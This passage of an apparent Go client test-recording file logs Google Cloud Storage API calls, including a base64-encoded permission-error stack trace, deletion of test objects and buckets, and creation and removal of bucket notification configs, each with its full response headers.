dCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "b1381b9995cf35f5", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:23 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrD1hmfKK3yAwFXKqIwvCsEVMb_e7MWysJc7zbyVjZ_sbD9P41lzc0gYSef9yl8CRa6B0RtPq14V5MBSdy6C0i_cAkgANDN1da3O5QKELvACU11moU" - ] - }, - "Body": "" - } - }, - { - "ID": "5e06ccad06bbd110", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/copy?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:23 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur2FRcf4QGZH2KhkP3kATb9eOy4S9lgrA3NQXYqhc1KBZDbcZN5NHF4MB6WiTxOraNE0HhkW3SOg8sp1gS4kAcWRZ2G0EGWmLgL6RUcwr3a2O-WY10" - ] - }, - "Body": "" - } - }, - { - "ID": "b637ccaa36faa55b", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/compose?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:23 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqGzSAdUK8pPs53JjaSJVQJObMJRsfQ5FIpSL0D4tNfft68cfE8Xb5fjSsAQG_PfmKZyX1Ind-s6dW6FgwREeHzu_OnEeOwCOaT8EZi2N4vNeWLvac" - ] - }, - "Body": "" - } - }, - { - "ID": "15055c361faad5c1", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:24 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqwmXVRTmXX3P5iId4-EjuA1oviIQD-Vbdr7M5rgd7d5IxNvmPVkZz_zFyMBNoHd_DzXnPMN5R7grAe1yDdOzbyafIBwRcFsLh4r0a7ghp4LkNSLZk" - ] - }, - "Body": "" - } - }, - { - "ID": "307f8a44d4ce6e9f", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/notificationConfigs?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "32" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:24 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:24 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpaHmcEJBKGI7CtW9fK8-j5Z-oRk_dTwMS40wVaoNH1PN7k6x6d_9aD3w3ce6WGZJF5OYxkdoifp6L2vVz5lIGjzcmmIZ4Wxp1vktBOv8hLa417Mp4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNub3RpZmljYXRpb25zIn0=" - } - }, - { - "ID": "f8df88961018be68", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/notificationConfigs?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "121" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJwYXlsb2FkX2Zvcm1hdCI6Ik5PTkUiLCJ0b3BpYyI6Ii8vcHVic3ViLmdvb2dsZWFwaXMuY29tL3Byb2plY3RzL2Rla2xlcmstc2FuZGJveC90b3BpY3MvZ28tc3RvcmFnZS1ub3RpZmljYXRpb24tdGVzdCJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "297" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:24 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqWiAA6LvnU4rExe2rVTwwFd51SI93o_d2tOj9OY1jk_qe1Yd1eiTXIa2eNecJQsmgwuFr4BUQoWy8ndutrCqGucmVIRL0jA6-i-vaGGVRF8uEe0AM" - ] - }, - "Body": "eyJpZCI6IjExIiwidG9waWMiOiIvL3B1YnN1Yi5nb29nbGVhcGlzLmNvbS9wcm9qZWN0cy9kZWtsZXJrLXNhbmRib3gvdG9waWNzL2dvLXN0b3JhZ2Utbm90aWZpY2F0aW9uLXRlc3QiLCJwYXlsb2FkX2Zvcm1hdCI6Ik5PTkUiLCJldGFnIjoiMTEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm90aWZpY2F0aW9uQ29uZmlncy8xMSIsImtpbmQiOiJzdG9yYWdlI25vdGlmaWNhdGlvbiJ9" - } - }, - { - "ID": "45f44fa6c3668273", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/notificationConfigs?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "340" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:25 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:25 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoFWgB9V-ilyDIBP7KEF3SY7uTg-rikYE1ooEgWYkiXb2cW6oOwwtH1W7oe24WU2A9oyJIGOSskz3_icHqmMn7CfPoZQ-Lu5QdtZzv_5062_-UzAt0" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNub3RpZmljYXRpb25zIiwiaXRlbXMiOlt7ImlkIjoiMTEiLCJ0b3BpYyI6Ii8vcHVic3ViLmdvb2dsZWFwaXMuY29tL3Byb2plY3RzL2Rla2xlcmstc2FuZGJveC90b3BpY3MvZ28tc3RvcmFnZS1ub3RpZmljYXRpb24tdGVzdCIsInBheWxvYWRfZm9ybWF0IjoiTk9ORSIsImV0YWciOiIxMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub3RpZmljYXRpb25Db25maWdzLzExIiwia2luZCI6InN0b3JhZ2Ujbm90aWZpY2F0aW9uIn1dfQ==" - } - }, - { - "ID": "08c2546e2c262ee7", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/notificationConfigs/11?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:25 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoTmXr5TZZPRnABz_XbbZpjwU3iPz2e802RkcmNFr3sLzUx205tdmAb6vVWMNlYMUGZ5tGoddlqQ_oPnz0Xdvpz8CiD2eDLMDyrMbxVFjc3BinwBo0" - ] - }, - "Body": "" - } - }, - { - "ID": 